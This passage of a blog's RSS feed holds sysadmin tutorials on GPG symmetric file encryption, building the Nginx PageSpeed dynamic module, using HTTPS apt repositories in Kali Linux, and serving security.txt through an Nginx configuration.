<p>GPG supports 11 cipher</p>]]></description><link>https://www.metahackers.pro/encrypt-and-decrypt-files-using-gnupg/</link><guid isPermaLink="false">5aea35ee14ffc5066c94a331</guid><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Mon, 07 May 2018 00:00:00 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/05/ced072bcee664f97.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/05/ced072bcee664f97.jpg" alt="Symmetric file encryption and decryption using GnuPG"><p>Note: You might want to consider using OpenSSL for file encryption instead. Please see this post.</p>
<p>In this post we will see how to use GnuPG to make a simple symmetric encryption and decryption. This method applies to encrypt a file so that it is unreadable.</p>
<p>GPG supports 11 cipher algorithms that you can use:</p>
<ul>
<li>IDEA</li>
<li>3DES</li>
<li>CAST5</li>
<li>BLOWFISH</li>
<li>AES</li>
<li>AES192</li>
<li>AES256</li>
<li>TWOFISH</li>
<li>CAMELLIA128</li>
<li>CAMELLIA192</li>
<li>CAMELLIA256</li>
</ul>
<p>By default, GPG will use AES256 cipher for encryption. However, you can change the cipher algorithm by supplying <code>--cipher-also CIPHER</code> option.</p>
<p>To Encrypt:</p>
<pre><code class="language-bash">$ gpg --output encrypted.data --symmetric --cipher-algo AES256 un_encrypted.data
</code></pre>
<p>To Decrypt:</p>
<pre><code class="language-bash">$ gpg --output un_encrypted.data --decrypt encrypted.data
</code></pre>
<p>Note: You will be prompted for a password when encrypting or decrypt.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Optimize websites using Nginx PageSpeed Dynamic Module]]></title><description><![CDATA[PageSpeed dynamic module helps optimize websites and performance. Learn how to build the pagespeed module to be used with Nginx.]]></description><link>https://www.metahackers.pro/get-faster-page-speed-using-nginx-pagespeed-module/</link><guid isPermaLink="false">5ac5d28050ce4a066b148188</guid><category><![CDATA[Sysadmin]]></category><category><![CDATA[Nginx]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Mon, 30 Apr 2018 18:52:13 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/04/ngx_pagespeed.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="whatisgooglepagespeed">What is Google PageSpeed?</h2>
<img src="/content/images/2018/04/ngx_pagespeed.jpg" alt="Optimize websites using Nginx PageSpeed Dynamic Module"><p><a href="https://en.wikipedia.org/wiki/Google_PageSpeed_Tools">Pagespeed</a> is a set of modules that designed to help optimize websites and performance by applying optimization to pages and static assets such as minifying stylesheets, javascript, images recompression and HTML files thus, improve page performance. <a href="https://developers.google.com/speed/pagespeed/insights/">Google&apos;s PageSpeed Insight</a> is a tool to help analyze website and suggest an improvement based on results.</p>
<p>Pagespeed module can be built to be use with Apache and Nginx webserver, however this post shows how to use with Nginx webserver.</p>
<p>To use the Pagespeed with Nginx, you have two options, either:</p>
<ol>
<li>Compile and build Nginx package with support for PageSpeed, then compile PageSpeed. Or,</li>
<li>Compile PageSpeed as a dynamic module to be use with Nginx.</li>
</ol>
<p>In the first option, I not really recommend because when you build the Nginx package from source, it also means if there is an update, you need to redo the whole things with the new updated package. And also you have to keep in mind to hold the build from apt, to prevent automatic update and lost your current build.</p>
<p>The second option, we just build the PageSpeed dynamic module and load them with Nginx. If new PageSpeed module comes in, we just have to build the module itself only and not disturbing your current Nginx or configuration. Or if Nginx push a new update, you need to re-build the module to be compatible with the newer version.</p>
<p>Make sure you&apos;re using Nginx version <code>1.11.5</code> and later to do this because older version <a href="https://trac.nginx.org/nginx/ticket/1377">doesn&apos;t support</a> <code>--with-compat</code> option when configure the module. If you&apos;re using nginx older than this, then I suggest to use Nginx pre-built package from mainline version as it has more features than stable release.</p>
<p>Either of the options above, I suggest you to built this module on dev machine. So that if you break the setup, it doesn&apos;t break your current system. <strong>Make sure your dev machine are same as the production machine, by that means the OS and version are need to be same</strong>. Here, I&apos;m using Ubuntu 16.04 as example.</p>
<p>This guide is based on <a href="https://www.modpagespeed.com/doc/build_ngx_pagespeed_from_source">Google&apos;s manual install instruction</a>. I&apos;m going to show you how to build nginx pagespeed module to be used with Nginx web server.</p>
<h2 id="steps">Steps</h2>
<p>I made a simple script <a href="https://github.com/IceM4nn/Nginx-pagespeed-module-script">here</a> to help automate the process. The script is still in experimental, use with cautious!. Else, follow the steps below:</p>
<ol>
<li>Update your system packages, to make sure you download the latest version of required software.</li>
</ol>
<pre class="language-bash command-line" data-host="devmachine"><code>sudo apt update</code></pre>
<ol start="2">
<li>Install Nginx and build dependency. This is required to build the module.</li>
</ol>
<pre class="language-bash command-line" data-host="devmachine"><code>sudo apt-get install build-essential uuid-dev unzip gcc make libpcre3 libpcre3-dev zlib1g-dev nginx -y</code></pre>
<ol start="3">
<li>Get Nginx version number. Make sure your Nginx version is <code>1.11.5</code> or later. If your Nginx version is not compatible, you can try using <a href="/nginx-mainline-repo-packages/">Nginx Mainline repository</a>.</li>
</ol>
<pre class="language-bash command-line" data-host="devmachine"><code>nginx -v</code></pre>
<ol start="4">
<li>Download Nginx source from web.</li>
</ol>
<pre class="language-bash command-line" data-host="devmachine"><code>wget http://nginx.org/download/nginx-{your-version-number}.tar.gz</code></pre>
<ol start="5">
<li>Get the latest version <strong>number</strong> pagespeed module at <a href="https://modpagespeed.com/doc/release_notes">https://modpagespeed.com/doc/release_notes</a></li>
<li>Download the latest version ngx_pagespeed module at github and extract it. <a href="https://github.com/apache/incubator-pagespeed-ngx/archive/v%7Bngx_pagespeed_module_version%7D-stable.zip">https://github.com/apache/incubator-pagespeed-ngx/archive/v{ngx_pagespeed_module_version}-stable.zip</a></li>
<li>Change directory to <code>incubator-pagespeed</code> and download PageSpeed Optimization Library (psol). <a href="https://dl.google.com/dl/page-speed/psol/%7Bngx_pagespeed_module_version%7D-x64.tar.gz">https://dl.google.com/dl/page-speed/psol/{ngx_pagespeed_module_version}-x64.tar.gz</a></li>
<li>Extract the downloaded package.</li>
</ol>
<pre class="language-bash command-line" data-host="devmachine"><code>tar -xzf $(basename ${psol_url})  # extracts to psol
rm -r $(basename ${psol_url})</code></pre>
<ol start="9">
<li>Change directory to Nginx source folder and compile the Pagespeed Dynamic module. Run the configure script with the <code>--with-compat</code> argument to make the dynamic module binary&#x2011;compatible with Nginx. Then run <code>make modules</code> to compile just the module.</li>
</ol>
<pre class="language-bash command-line" data-host="devmachine"><code>./configure --add-dynamic-module=../incubator-pagespeed-ngx-{ngx_pagespeed_module_version}-stable --with-compat
make modules</code></pre>
<p>After done <code>make</code>, the object module are available in folder <code>obj/ngx_pagespeed.so</code>. This module now can be transfer to production server.</p>
<h3 id="folderstructure">Folder structure</h3>
<p>Now you need to copy the module to a folder then load them in a config file. Different distribution may have different nginx module folder, modules-available and modules-enabled directory. Some put in <code>/usr/share/nginx/modules</code>, <code>/usr/lib/nginx/modules</code> or even <code>/etc/nginx/modules</code>. Check those directories and symlinks if available.</p>
<p>My distribution has the following structure: (x links to y)</p>
<pre><code class="language-bash">/etc/nginx/modules -&gt; /usr/lib/nginx/modules -&gt; /usr/share/nginx/modules
/etc/modules-enabled -&gt; /usr/share/nginx/modules-available
</code></pre>
<p>The nginx folder structure symlinked to other directories makes changes a bit confusing. What I do is gather all modules together in one place in <code>/etc/nginx/modules</code> (no symlinks) and remove any trace folder such in <code>/usr/share/nginx/modules</code> or <code>/usr/lib/nginx/modules</code>.</p>
<ol start="10">
<li>If you don&apos;t have the folder structure like above, create new directory as below. These are the folder structure you need to have (as what I do):</li>
</ol>
<pre><code class="language-bash">/etc/nginx/modules           # This is where you placed all your modules (.so file)
/etc/nginx/modules-available # Here where you create a conf file and link to the module
/etc/nginx/modules-enabled   # Symlink any module(s) from `/etc/nginx/modules-available` you want to enable in this folder
</code></pre>
<ol start="11">
<li>
<p>Copy the <code>~/nginx-{your-version}/objs/ngx_pagespeed.so</code> to <code>/etc/nginx/modules/ngx_pagespeed_{ngx_pagespeed_version}.so</code>. I suggest to append the ngx_pagespeed_version at the module, so if the newer version comes, you know to identify the module version.</p>
</li>
<li>
<p>Create <code>/etc/nginx/modules-available/ngx_pagespeed.conf</code> file and place this in the configuration. The <a href="http://nginx.org/en/docs/ngx_core_module.html#load_module">&apos;load_module&apos;</a> directives is used to load the PageSpeed as a dynamic module.</p>
</li>
</ol>
<pre><code class="language-bash"># rename your ngx_pagespeed version!
load_module /etc/nginx/modules/ngx_pagespeed_1.13.35.2.so;
</code></pre>
<ol start="13">
<li>To enable the module, symlink the <code>/etc/nginx/module-available/ngx_pagespeed.conf</code> to <code>/etc/nginx/modules-enabled/ngx_pagespeed.conf</code>.</li>
</ol>
<pre class="language-bash command-line" data-host="production"><code>sudo ln -s /etc/nginx/module-available/ngx_pagespeed.conf /etc/nginx/modules-enabled/ngx_pagespeed.conf</code></pre>
<ol start="14">
<li>Check in the nginx.conf, make sure to load all modules from <code>/etc/nginx/modules-enabled/*.conf</code>. If not, place this at the top&#x2011;level (&quot;main&quot;) context of the nginx.conf configuration file (that is, not in the http or stream contexts).</li>
</ol>
<pre><code class="language-nginx">include /etc/nginx/modules-enabled/*.conf;
</code></pre>
<ol start="15">
<li>What ever you do, make sure you have load the module in nginx configuration. Check everything if syntax is okay:</li>
</ol>
<pre class="language-bash command-line" data-host="production"><code>sudo nginx -t</code></pre>
<p>If everything is good, you&apos;ve successful load the module with Nginx! Proceed to configuration.</p>
<h2 id="configuration">Configuration</h2>
<ol start="16">
<li>Create a folder name &apos;snippets&apos; in <code>/etc/nginx/</code>. In this folder, we will put our pagespeed configuration file here, and will be include in virtual host conf.</li>
</ol>
<pre class="language-bash command-line" data-host="production"><code>sudo mkdir /etc/nginx/snippets</code></pre>
<p>These are the configuration that we&apos;re going to use for the pagespeed module. You can refer <a href="https://www.modpagespeed.com/doc/configuration">here</a> for more info. Place this in <code>/etc/nginx/snippets/pagespeed.conf</code>.</p>
<pre><code class="language-nginx">    ## pagespeed module ##
    pagespeed on;
    
    # Honoring Content-Security-Policy Headers
    pagespeed HonorCsp on;

    # Lower-casing HTML element and attribute names
    pagespeed LowercaseHtmlNames on;

    # Pagespeed Header
    pagespeed XHeaderValue &quot;Powered By ngx_pagespeed&quot;; 

    # Needs to exist and be writable by nginx.  Use tmpfs for best performance.
    pagespeed FileCachePath /var/ngx_pagespeed_cache;

    # Ensure requests for pagespeed optimized resources go to the pagespeed handler
    # and no extraneous headers get set.
    location ~ &quot;\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+&quot; {
       add_header &quot;&quot; &quot;&quot;;
    }
    location ~ &quot;^/pagespeed_static/&quot; { }
    location ~ &quot;^/ngx_pagespeed_beacon$&quot; { }
</code></pre>
<h2 id="includetovirtualhost">Include to Virtual Host</h2>
<p>After done writing the pagespeed.conf snippet, go to sites-enabled folder and open your site conf. In <strong>server</strong> block or <strong>http</strong> block, include the snippet to the configuration. If you have multiple sites enabled, you must include this to every sites configuration to enable pagespeed on every sites.</p>
<pre><code class="language-nginx">include /etc/nginx/snippets/pagespeed.conf;
</code></pre>
<h2 id="validate">Validate</h2>
<p>Check if all the configurations are correct. If everything is okay, restart nginx service to load the PageSpeed module into the running instance.</p>
<pre class="language-bash command-line" data-host="production"><code>sudo nginx -t
sudo service nginx restart</code></pre>
<p>Check if Pagespeed is running by using the <code>curl</code> command:</p>
<pre><code class="language-http">$ curl -I https://www.metahackers.pro 
HTTP/2 200 
date: Mon, 30 Apr 2018 00:46:54 GMT
content-type: text/html; charset=utf-8
set-cookie: __cfduid=d42ff6730fdae50d33c6d3f29a2c593231525049214; expires=Tue, 30-Apr-19 00:46:54 GMT; path=/; domain=.metahackers.pro; HttpOnly; Secure
x-powered-by: Express
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
referrer-policy: strict-origin-when-cross-origin
x-page-speed: Powered By ngx_pagespeed
cache-control: max-age=0, no-cache
strict-transport-security: max-age=15552000; includeSubDomains; preload
expect-ct: max-age=604800, report-uri=&quot;https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct&quot;
server: cloudflare
cf-ray: 4135fe768d0c110b-SIN
</code></pre>
<p>It should have output the <code>X-page-speed</code> header. Also check <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed Insights</a> for website performance test. PageSpeed Insights is a seperate tool from Google to test website performance and level of optimization for both desktop and mobile devices. It is a handy tool for measuring your site and for indicate the efficacy of the PageSpeed module.</p>
<p>You can use PageSpeed Insights to compare your site score and recommendation for optimization with and without PageSpeed enabled. Swap between the <code>pagespeed on;</code> and <code>pagespeed off;</code> directives to measure the effectiveness of the PageSpeed module on your site.</p>
<p>PageSpeed applies its optimizations without any further configuration or tuning. However, if you want to have more control over which optimizations are performed on your site, refer to the <a href="https://www.modpagespeed.com/doc/configuration">PageSpeed documentation</a>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Use HTTPS repositories in Kali Linux]]></title><description><![CDATA[Encryption in transport would prevent eavesdroppers (such as your ISP) from being able to see what you are downloading. HTTPS is a must.]]></description><link>https://www.metahackers.pro/apt-get-with-https-kali-linux/</link><guid isPermaLink="false">5ae4b11c189f2b0676521454</guid><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Sun, 29 Apr 2018 17:10:18 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/04/d5d28dcf1c311d3c.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/04/d5d28dcf1c311d3c.jpg" alt="Use HTTPS repositories in Kali Linux"><p>Since last year 2017, Kali Linux now support HTTPS transport in their repositories, but since we&apos;re using mirrors, not all mirrors do support HTTPS transport. Thus it <strong>MAY</strong> affects the download speed the reason that, you may be redirected to a mirrors that far from you and less optimized server will be served to you.</p>
<p>As it says in <a href="https://www.kali.org/news/kali-linux-repository-https-support/">Kali blog</a>:</p>
<blockquote>
<p>As moving to an apt HTTPS transport does not provide much extra security, do so only if you feel you must!</p>
</blockquote>
<p>This because the APT verifies the signature of the packages before sending to you and if an atacker modifies the files you&apos;re downloading, this will be noticed by checksum mismatch or something.</p>
<p>A quote from <a href="https://askubuntu.com/questions/146108/how-to-use-https-with-apt-get">askubuntu</a> page:</p>
<blockquote>
<p>Using a signature verification is better than using an HTTPS connection, because it&apos;ll detect an attack on the server you&apos;re downloading from, not just an attack in transit.</p>
</blockquote>
<h2 id="useaptgetwithhttps">Use <code>apt-get</code> with HTTPS</h2>
<p>To use <code>apt-get</code> with HTTPS, you can do so by specify https:// URLs in <code>/etc/apt/sources.list</code> and <code>/etc/apt/sources.list.d/*</code>, then APT will use HTTPS.</p>
<pre><code># The Official Kali Rolling Repository
deb https://http.kali.org/kali kali-rolling main contrib non-free

# For source package access, uncomment the following line
#deb-src https://http.kali.org/kali kali-rolling main contrib non-free
</code></pre>
<p>Then, run <code>apt-get update</code> to update your local repositories with https.</p>
<h2 id="whyusehttpsinapttransport">Why use HTTPS in APT transport?</h2>
<p>Some programs can mess up this apt traffic, or viewing what package you download, etc.</p>
<p>Since Kali provide HTTPS in apt transport, why not use it? The apt itself without HTTPS does have a data tamper protection by built-in signature verification. However, the connection itself is not encrypted.</p>
<p>Encryption in transport would prevent eavesdroppers (such as your ISP) from being able to see what you are downloading. If you need privacy about what particular packages you&apos;re downloading, HTTPS is a must.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Adding security.txt in Ghost through Nginx conf]]></title><description><![CDATA[Apply security.txt in Ghost CMS or other web application project through Nginx configuration.]]></description><link>https://www.metahackers.pro/applying-security-txt-in-ghost-nginx/</link><guid isPermaLink="false">5abdb6c36ab06917034e55b3</guid><category><![CDATA[Sysadmin]]></category><category><![CDATA[Nginx]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Wed, 04 Apr 2018 08:12:24 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/04/833a0357ecfdac1a.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="whatissecuritytxt">What is security.txt?</h2>
<img src="/content/images/2018/04/833a0357ecfdac1a.jpg" alt="Adding security.txt in Ghost through Nginx conf"><p>Well basically when someone (security researcher) found a bug or vulnerability on your web application, this piece of text helps where to contact your security team, or proper way to report to.</p>
<p><a href="https://securitytxt.org/">Here</a> you can find everything about what I am talking about if I don&apos;t make sense. Please check out and generate your security.txt, come back here and follow steps below to put on your web server.</p>
<h4 id="notefornonnginxuser">Note: For non Nginx user</h4>
<p>Steps I shown here are to apply to Nginx webserver since I like Nginx and use Nginx a lot. If you&apos;re using other than Nginx, (such as Apache) your configuration might liking and similar. Try looking at your web server documentation for syntax and configuration.</p>
<h2 id="letsgetstarted">Lets get started!</h2>
<p>I assume you already have your security.txt by make one or generate from the website. Edit the information to your liking and policies. Security.txt is placed on your web root.</p>
<p>Place security.txt in web root, such <code>/var/www/myweb/.security.txt</code>. In your <code>/etc/nginx/sites-enabled/{your-site}.conf</code>, add this in server block. The code itself self explanatory, which redirect a request URI &apos;/security.txt&apos; to &apos;/.well-known/security.txt&apos;. The content of security.txt itself given as alias to security.txt in your web root.</p>
<pre><code class="language-nginx">    ## security.txt implementation ##
    location /security.txt {
        return 301 http://$host/.well-known/security.txt;
    }
    
    location = /.well-known/security.txt {
        alias /var/www/ghost/.security.txt;
    }
</code></pre>
<p>When user navigate to <code>https://myweb.com/security.txt</code> it will be redirected 301 to <code>https://myweb.com/.well-known/security.txt</code> while the file itself is actualy in your web root. And of course, the user can also look for security.txt in uri <code>/.well-known/security.txt</code>.</p>
<p>If you have other better solutions or suggestion, please comment below!</p>
<p>Security Txt:<br>
<a href="https://securitytxt.org/">https://securitytxt.org/</a><br>
<a href="https://github.com/securitytxt/security-txt/blob/master/draft-foudil-securitytxt.md">https://github.com/securitytxt/security-txt/blob/master/draft-foudil-securitytxt.md</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>